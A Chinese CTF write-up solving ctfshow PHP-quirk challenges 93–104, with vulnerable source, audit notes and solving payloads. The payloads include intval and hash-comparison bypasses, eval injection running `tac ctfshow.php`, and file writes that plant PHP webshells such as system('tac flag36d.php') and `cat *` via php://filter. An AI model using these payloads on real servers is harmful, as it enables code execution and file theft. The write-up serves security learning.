【PHP代码审计】ctfshow web入门 php特性 93-104

ctfshow web入门 php特性 93-104

  • web 93
  • web 94
  • web 95
  • web 96
  • web 97
  • web 98
  • web 99
  • web 100
  • web 101
  • web 102
  • web 103
  • web 104

web 93

在这里插入图片描述

这段PHP代码是一个简单的源码审计例子,让我们逐步分析它:

  1. include("flag.php");: 这行代码将flag.php文件包含进来。如果flag.php文件中定义了变量 $flag,它将在当前文件中可用。

  2. highlight_file(__FILE__);: 这行代码将会将当前文件的源代码进行语法高亮并输出到浏览器,以便我们查看代码的内容。

  3. 下面是一个针对用户输入的num参数的处理:

    a. $num = $_GET['num'];: 从GET请求中获取名为num的参数,并将其赋值给变量$num

    b. if($num==4476){ die("no no no!"); }: 如果用户输入的num等于4476,将输出"no no no!"并终止脚本的执行。

    c. if(preg_match("/[a-z]/i", $num)){ die("no no no!"); }: 如果用户输入的num中包含任何字母(大小写不敏感),将输出"no no no!"并终止脚本的执行。

    d. if(intval($num,0)==4476){ echo $flag; }else{ echo intval($num,0); }: 在这里,intval()函数将尝试将$num转换为整数类型。如果转换后的结果等于4476,将输出$flag的内容,否则输出转换后的整数值。

所以,从审计的角度来看:
代码中对用户输入num进行了多层过滤,主要是为了防止用户输入恶意数据。首先检查是否等于4476,其次检查是否包含字母。但这里有一个问题:它使用了intval()函数来转换输入,将输入强制转换为整数。在这里,如果输入的值以零开头(例如:001),则PHP会将其视为八进制数。

在这里插入图片描述

因此,用户可以通过输入以零开头的数字来绕过检查,获取到flag。

例如:传入 num=010574,它会被当作4476处理,然后输出$flag的内容。

在这里插入图片描述

还有小数也可以绕过if($num==4476){ die("no no no!"); }。比如传 ?num=4476.1

在这里插入图片描述

OK这题就完全理解了。

web 94

在这里插入图片描述

对比web 93,有以下几个重要的改动:

  1. if($num==="4476"){ die("no no no!"); }: 这里使用了三个等号(===),意味着在比较时不仅要比较值,还要比较类型。

  2. if(!strpos($num, "0")){ die("no no no!"); }: 传入的参数的第一位不能为0,如果是0,就die

  3. 最后的条件判断变为 if(intval($num,0)===4476){ echo $flag; },这个条件确保用户输入不是以0开头,且转换为整数后与4476相等,才会输出$flag的内容。

可以传参:
?num=(空格)+010574
?num=4476.0

web 95

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }

preg_match函数来检查变量$num是否包含任何小写字母(a到z之间)或者一个句号(.)。如果发现包含这些字符,就会执行die()函数,输出 “no no no!!” 并终止脚本的执行。
刚刚web 94 用到小数形式就不能用了。所以只能用:
?num=(空格)+ 010574

在这里插入图片描述

web 96

highlight_file(__FILE__);

if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }


}

使用u传一个参,不能直接等于“flag.php”,如果u直接等于flag.php,那么将结束语句并输出 no no no。
使用两种方法传参:

  1. 相对路径:?u=./flag.php

在这里插入图片描述

  1. php伪协议:?u=php://filter/resource=flag.php

在这里插入图片描述

web 97

include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

前面都是GET,到此改为POST传参。
满足题目条件:a、b存在且非空,a与b不相等但他们的MD5相等时,输出flag。

如果是双等号不是三等号,在这样的弱比较里,0e开头的会被识别成科学计数法,结果均为0,比较时0=0为true绕过。

像这样的强比较,上面的方法就失效了,但是如果传入的不是字符串而是数组,不但md5()函数不会报错,结果还会返回null,在强比较里面null=null为true绕过。

在这里插入图片描述

数组轻松绕过:
a[]=1&b[]=2

web 98

include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

?> 
$_GET?$_GET=&$_POST:'flag'; 

这句语句表示,如果存在get方式,就把post的地址传给get,相当于get,只不过要利用post传一下参数。

highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);

如果有通过GET方法传参’HTTP_FLAG=flag’,就显示flag。否则显示__FILE__.

如此传参:
GET:/?随意内容
POST:HTTP_FLAG=flag

在这里插入图片描述

web 99

highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

?> 

这部分代码用于生成一个名为 $allow 的数组,其中包含随机数。生成的随机数范围是从 1 到 0x36d(十进制 875)。↓

$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}

这部分代码检查是否存在名为 ‘n’ 的 GET 参数,并且该参数的值存在于 $allow 数组中。如果满足这两个条件,将使用 POST 请求中的 ‘content’ 参数将内容写入文件。↓

if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}

file_put_contents() 函数把一个字符串写入文件中。
如果文件不存在,将创建一个文件。
如果成功,该函数将返回写入文件中的字符数。如果失败,则返回 False。

GET?n=1.php
POST:content=<?php system("ls");?>
访问1.php

在这个请求中,GET 参数 ‘n’ 的值是 “1.php”,而 POST 参数 ‘content’ 的值是 <?php system("ls");?>,即恶意代码片段 system(“ls”)。

然后,代码会检查 ‘n’ 参数是否存在于 $allow 数组中。假设 “1.php” 是在 $allow 数组中,则会将 <?php system("ls");?> 写入名为 “1.php” 的文件。

当访问 “1.php” 时,恶意代码 system(“ls”) 将会被执行,显示当前目录中的内容。

GET?n=1.php
POST:content=<?php system("tac flag36d.php");?>
访问1.php

在这个请求中,GET 参数 ‘n’ 的值仍然是 “1.php”,而 POST 参数 ‘content’ 的值是 <?php system("tac flag36d.php");?>,即另一个恶意代码片段 system(“tac flag36d.php”)。

假设 “1.php” 仍然是在 $allow 数组中,则会将 <?php system("tac flag36d.php");?> 写入名为 “1.php” 的文件。

当访问 “1.php” 时,恶意代码 system(“tac flag36d.php”) 将会被执行,显示名为 “flag36d.php” 的文件内容的逆向(从最后一行到第一行)。

在这里插入图片描述

web 100


highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");         

源码审计:

$ctfshow = new ctfshow();

创建了一个名为 $ctfshow 的对象。

$v1=$_GET['v1']; $v2=$_GET['v2']; $v3=$_GET['v3'];

这几行代码从 GET 请求参数中获取数据,并将其存储在变量 $v1, $v2, $v3 中。

$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);

使用 is_numeric() 函数检查 $v1, $v2, $v3 是否都为数字。然后将结果赋值给变量 $v0。

由于=的优先级高于and,因此只需要v1等于数字就可以绕过上述检查。

if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){

这段代码是使用正则表达式检查v2、v3是否含有分号。

eval("$v2('ctfshow')$v3"); 

eval()函数的作用是将传入的字符串作为 PHP 代码进行解析和执行。简单来说,eval() 函数可以在运行时动态执行一段 PHP 代码。
它将 $v2 和 $v3 的值插入到字符串中并执行。

综上,传参让$ctfshow显出来就行了:

/?v1=1&v2=&v3=?><?=`tac ctfshow.php`;

在这里插入图片描述
flag格式是ctfshow{}。

web 101

highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3"); 

源码是web 100 的小改款,多出了:

正则检查的符号包括:
1. `\\\\`:匹配反斜杠 `\`。
2. `\/`:匹配正斜杠 `/`。
3. `\~`:匹配波浪号 `~`。
4. `\``:匹配反引号 `` ` ``。
5. `\!`:匹配感叹号 `!`。
6. `\@`:匹配at符号 `@`。
7. `\#`:匹配井号 `#`。
8. `\\$`:匹配美元符号 `$`9. `\%`:匹配百分号 `%`10. `\^`:匹配插入符号 `^`11. `\*`:匹配星号 `*`12. `\)`:匹配右括号 `)`13. `\-`:匹配减号 `-`14. `\_`:匹配下划线 `_`15. `\+`:匹配加号 `+`16. `\=`:匹配等号 `=`17. `\{`:匹配左花括号 `{`18. `\[`:匹配左方括号 `[`19. `\"`:匹配双引号 `"`20. `\'`:匹配单引号 `'`21. `\,`:匹配逗号 `,`22. `\. `:匹配点号 `.`23. `\;`:匹配分号 `;`24. `\?`:匹配问号 `?`25. `[0-9]`:匹配数字字符 09

用到PHP Reflection API 这个东西。
PHP Reflection API 是 PHP 的一组内置类和接口,它允许在运行时获取关于类、接口、函数、方法、属性等各种对象的信息。通过 Reflection API,我们可以在代码运行时动态地分析和获取这些对象的结构和属性,使得 PHP 在运行时具备了一定程度的反射(reflection)能力。

Reflection API 提供了一些类和接口,其中最常用的类包括:

  1. ReflectionClass:用于获取类的相关信息,如类名、父类、接口、属性、方法等。
  2. ReflectionMethod:用于获取类方法的相关信息,如方法名、参数、访问修饰符等。
  3. ReflectionFunction:用于获取函数的相关信息,如函数名、参数、返回值等。
  4. ReflectionProperty:用于获取类属性的相关信息,如属性名、访问修饰符等。
  5. ReflectionParameter:用于获取函数或方法的参数信息,如参数名、默认值等。

通过 Reflection API,开发者可以在运行时动态地探索和操作类、方法和函数的结构,例如:

  • 动态地获取类的方法和属性,实现类的自动文档生成或代码生成工具;
  • 检查类或方法的注释和特性,实现自定义的注解功能;
  • 动态地调用类的方法和创建对象,实现依赖注入和反射调用。

传参:

/?v1=1&v2=echo%20new%20ReflectionClass&v3=;

分析一下代码的执行过程:

  1. v1=1:这里将 v1 设置为数字 1。

  2. v2=echo%20new%20ReflectionClass:这里将 v2 设置为字符串 echo new ReflectionClass,注意 %20 是 URL 编码的空格符。

  3. v3=;:这里将 v3 设置为一个分号 ;

接下来,代码执行的逻辑是:

  1. 首先,is_numeric() 函数会检查 v1v2v3 是否都是数字。在这里,v1 是数字 1,因此条件通过。

  2. 然后,代码会进行正则表达式匹配,检查 v2v3 是否包含特定的字符。

    • 对于 v2,正则表达式为 /\\\\|\/|\~|\|!|@|#|\$|%|^|*|)|-|_|+|=|{|[|“|'|,|.|;|?|[0-9]/,这里的 ` 在正则表达式中需要转义,所以实际匹配的是 \|/|~||!|@|#|$|%|^|*|)|-|_|+|=|{|[|”|'|,|.|;|?|[0-9]`。没有匹配到特殊字符,所以条件通过。

    • 对于 v3,正则表达式为 /\\\\|\/|\~|\|!|@|#|\$|%|^|*|(|-|_|+|=|{|[|“|'|,|.|?|[0-9]/,这里的 ` 在正则表达式中需要转义,所以实际匹配的是 \|/|~||!|@|#|$|%|^|*|(|-|_|+|=|{|[|”|'|,|.|?|[0-9]`。没有匹配到特殊字符,所以条件通过。

  3. 最后,代码会执行以下语句:eval("$v2('ctfshow')$v3");

    • 根据我们的输入,这将等效于执行以下代码:eval("echo new ReflectionClass('ctfshow');");

    • eval() 函数将会执行字符串中的代码,因此这里会输出 new ReflectionClass('ctfshow')

web 102

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}


?> 
  1. 从POST请求中获取参数$v1
  2. 从GET请求中获取参数$v2$v3
  3. 判断$v2$v3是否都是数字(通过is_numeric函数判断),并将结果保存到$v4中。

如果$v4为真(即$v2$v3都是数字):

  1. $v2的第三个字符开始截取子字符串保存到$s中。$s = substr($v2,2);

  2. 调用名为$v1的回调函数,将$s作为参数传递给它,并将函数返回值保存到$str中。
    $str = call_user_func($v1,$s);

  3. $str输出到页面。

  4. $str的内容写入名为$v3的文件中。file_put_contents($v3,$str);

如果$v4为假(即$v2$v3不是都是数字):输出字符串"hacker",然后终止程序的执行。

构造传参:

$v1:使用hex2bin()作为回调函数(16进制转化为字符)
$v2:要求全是数字。
$v3:使用PHP伪协议写入文件

$a=<?=`cat *`;
$b=base64_encode($a); 
$c=bin2hex($b);
bin2hex是把ASCII 字符的字符串转化为16进制
输出   5044383959474e6864434171594473
带e的话会被认为是科学计数法,可顺利通过is_numeric的检测。
因为是从下标为2的位置取的字符串,所以要在前面加两个数字(随意)
故v2=005044383959474e6864434171594473

payload:

GET:?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

POST:v1=hex2bin          //这个就是把16进制转换为ASCII 字符的字符串

传参后,访问1.php后,查看源代码,获得flag

在这里插入图片描述

web 103

highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}

?>

对于之前的代码,新增了以下内容:

  1. 使用正则表达式检查$str中是否包含"php"子字符串:
if(!preg_match("/.*p.*h.*p.*/i",$str)){
    file_put_contents($v3,$str);
}
else{
    die('Sorry');
}

这部分代码首先使用正则表达式/.*p.*h.*p.*/i来检查$str中是否包含"php"子字符串。正则表达式的含义是任意字符,后面跟着"p",后面跟着任意字符,后面跟着"h",后面再跟着任意字符,最后跟着"p",而i标记表示忽略大小写。这样的正则表达式会匹配包含"php"子字符串的任何形式。

  1. 根据正则表达式的匹配结果执行不同的操作:
  • 如果$str中不包含"php"子字符串,则将$str写入名为$v3的文件中:
file_put_contents($v3,$str);
  • 如果$str中包含"php"子字符串,则输出字符串"Sorry"并终止程序的执行:
die('Sorry');

这样的改动尝试防止用户将"php"关键词写入文件中,以防止潜在的代码注入攻击。如果$str中包含"php",则直接输出"Sorry",并停止文件写入。

然而我们的传参不受黑名单限制,payload依然是一样:

GET:?v2=005044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=1.php

POST:v1=hex2bin          //这个就是把16进制转换为ASCII 字符的字符串

传参后,访问1.php后,查看源代码,获得flag

在这里插入图片描述

web 104

highlight_file(__FILE__);
include("flag.php");

if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;

sha1与md5一样,都是无法处理数组。所以这题跟web 97是一样的做法。使用数组进行绕过:

POST:v1[]=2
GET:v2[]=1

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/55053.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

从零开始学python(十二)如何成为一名优秀的爬虫工程师

前言 回顾之前讲述了python语法编程 必修入门基础和网络编程&#xff0c;多线程/多进程/协程等方面的内容&#xff0c;后续讲到了数据库编程篇MySQL&#xff0c;Redis&#xff0c;MongoDB篇&#xff0c;和机器学习&#xff0c;全栈开发&#xff0c;数据分析前面没看的也不用往…

SSL原理详解

SSL协议结构&#xff1a; SSL协议分为两层&#xff0c;下层为SSL记录协议&#xff0c;上层为SSL握手协议、SSL密码变化协议和SSL警告协议。 1.下层为SSL记录协议&#xff0c;主要作用是为高层协议提供基本的安全服务 建立在可靠的传输之上&#xff0c;负责对上层的数据进行分块…

DeepVO 论文阅读

论文信息 题目&#xff1a;DeepVO Towards End-to-End Visual Odometry with Deep Recurrent Convolutional Neural Networks 作者&#xff1a;Sen Wang, Ronald Clark, Hongkai Wen and Niki Trigoni 代码地址&#xff1a;http://senwang.gitlab.io/DeepVO/ (原作者并没有开源…

【C++】从0到1讲继承|复杂的菱形继承

个人主页&#xff1a;&#x1f35d;在肯德基吃麻辣烫 我的gitee&#xff1a;gitee仓库 分享一句喜欢的话&#xff1a;热烈的火焰&#xff0c;冰封在最沉默的火山深处。 前言 本文主要讲述的是继承的概念&#xff0c;以及基类和派生类和衍生出的各种东西&#xff0c;还有多继承…

前端代码注释率

nodejs差代码注释率 /*** author duan* source https://editor.csdn.net/md/?not_checkout1&spm1011.2124.3001.6192* date 2023-7-7* * 统计指定目录下代码行数及注释率* * 用法: node count.js <路径> [后缀名]...* 后缀名不填的话默认为统计 .js 和 .ts 文件* *…

Jenkins通过OpenSSH发布WinServer2016

上一篇文章> Jenkins集成SonarQube代码质量检测 一、实验环境 jenkins环境 jenkins入门与安装 容器为docker 主机IP系统版本jenkins10.10.10.10rhel7.5 二、OpenSSH安装 1、下载 官网地址&#xff1a;https://learn.microsoft.com/zh-cn/windows-server/administration/op…

MaxPatrol SIEM 增加了一套检测供应链攻击的专业技术

我们为 MaxPatrol SIEM 信息安全事件监控系统增加了一套新的专业技术。 该产品可帮助企业防范与供应链攻击相关的威胁。 此类攻击正成为攻击者的首要目标&#xff1a;它们以软件开发商和供应商为目标&#xff0c;网络犯罪分子通过他们的产品进入最终目标的基础设施。 因此&a…

Android Studio 启用设备远程调试配置完整步聚

启用手机设置->开发者选项-无线调试,然后选择允许 已启用后无线调试变成绿色 ,点击无线调试进入详情页面 点击Android Studio的Device Manager 下的WIFI图标 会弹出下图窗口 打开手机的开发者选项中的WIFI调试(无线调试)下的使用二维码配对设备进行扫描. 设备配对成功后手机…

带wiringPi库的交叉编译 ---宿主机x86Ubuntu,目标机ARMv8 aarch64(香橙派)

带wiringPi库的交叉编译如何进行 先交叉编译wiringPi库&#xff0c;编译出的库适合香橙派&#xff0c;这时候交叉编译可执行程序的平台和链接库的格式也是正确的&#xff0c;然后通过-I和-L来指定链接的wiringPi库的头文件和库的位置&#xff0c;但是现在还没有学习过&#xf…

Reinforcement Learning with Code 【Code 1. Tabular Q-learning】

Reinforcement Learning with Code 【Code 1. Tabular Q-learning】 This note records how the author begin to learn RL. Both theoretical understanding and code practice are presented. Many material are referenced such as ZhaoShiyu’s Mathematical Foundation o…

【Redis】内存数据库 Redis 基础

目录 内存数据库Redis概念Redis 安装Redis的启动方式Redis命令行客户端 Redis通用命令Redis key结构Redis value数据类型String 和基础操作Hash 和基础操作List 和基础操作Set 和基础操作Sorted_set 和基础操作 Redis的Java客户端Jedis客户端SpringDataRedis客户端自定义RedisT…

TypeScript基础学习

目录 一、安装 1、下载国内镜像 2、安装 3、查看安装情况 4、使用例子 二、变量声明 1、规则 2、声明的四种方式 3、注意 4、类型断言 5、类型推断 6、变量作用域 三、基础类型&#xff08;共11种&#xff09; 1、Any 类型 2、Null 和 Undefined 3、never 类型…

Thread类的常用方法

文章目录 二. Thread类及常见方法2.1 常见构造方法2.2 Thread 的几个常见属性2.3 启动一个线程 start()2.4 终止一个线程2.5 等待一个线程 join()2.6 获取当前线程的引用2.7 休眠当前线程 二. Thread类及常见方法 2.1 常见构造方法 方法说明Thread()创建线程对象Thread(Runna…

C语言每日一题:11.《数据结构》链表分割。

题目一&#xff1a; 题目链接&#xff1a; 思路一&#xff1a;使用带头链表 1.构建两个新的带头链表&#xff0c;头节点不存储数据。 2.循环遍历原来的链表。 3.小于x的尾插到第一个链表。 4.大于等于x尾插到第二个链表。 5.进行链表合并&#xff0c;注意第二个链表的尾的下一…

RISC-V 指令集介绍

1. 背景介绍 指令集从本质上可以分为复杂指令集&#xff08;Complex Instruction Set Computer&#xff0c;CISC&#xff09;和精简指令集&#xff08;Reduced Instruction Set Computer&#xff0c;RISC&#xff09;两种。复杂指令集的特点是能够在一条指令内完成很多事情。 指…

【外卖系统】分类管理业务

公共字段自动填充 需求分析 对于之前的开发中&#xff0c;有创建时间、创建人、修改时间、修改人等字段&#xff0c;在其他功能中也会有出现&#xff0c;属于公共字段&#xff0c;对于这些公共字段最好是在某个地方统一处理以简化开发&#xff0c;使用Mybatis Plus提供的公共…

iPhone 7透明屏的显示效果怎么样?

iPhone 7是苹果公司于2016年推出的一款智能手机&#xff0c;它采用了4.7英寸的Retina HD显示屏&#xff0c;分辨率为1334x750像素。 虽然iPhone 7的屏幕并不是透明的&#xff0c;但是苹果公司在设计上采用了一些技术&#xff0c;使得用户在使用iPhone 7时可以有一种透明的感觉…

28.利用fminsearch、fminunc 求解最大利润问题(matlab程序)

1.简述 1.无约束&#xff08;无条件&#xff09;的最优化 fminunc函数 : - 可用于任意函数求最小值 - 统一求最小值问题 - 如求最大值问题&#xff1a; >对函数取相反数而变成求最小值问题&#xff0c;最后把函数值取反即为函数的最大值。 使用格式如下 1.必须预先把函数存…

【Golang 接口自动化08】使用标准库httptest完成HTTP请求的Mock测试

目录 前言 http包的HandleFunc函数 http.Request/http.ResponseWriter httptest 定义被测接口 测试代码 测试执行 总结 资料获取方法 前言 Mock是一个做自动化测试永远绕不过去的话题。本文主要介绍使用标准库net/http/httptest完成HTTP请求的Mock的测试方法。 可能有…

113、单例Bean是单例模式吗?

单例Bean是单例模式吗? 通常来说,单例模式是指在一个JVM中,一个类只能构造出来一个对象,有很多方法来实现单例模式,比如懒汉模式,但是我们通常讲的单例模式有一个前提条件就是规定在一个JVM中,那如果要在两个JVM中保证单例呢?那可能就要用分布式锁这些技术,这里的重点…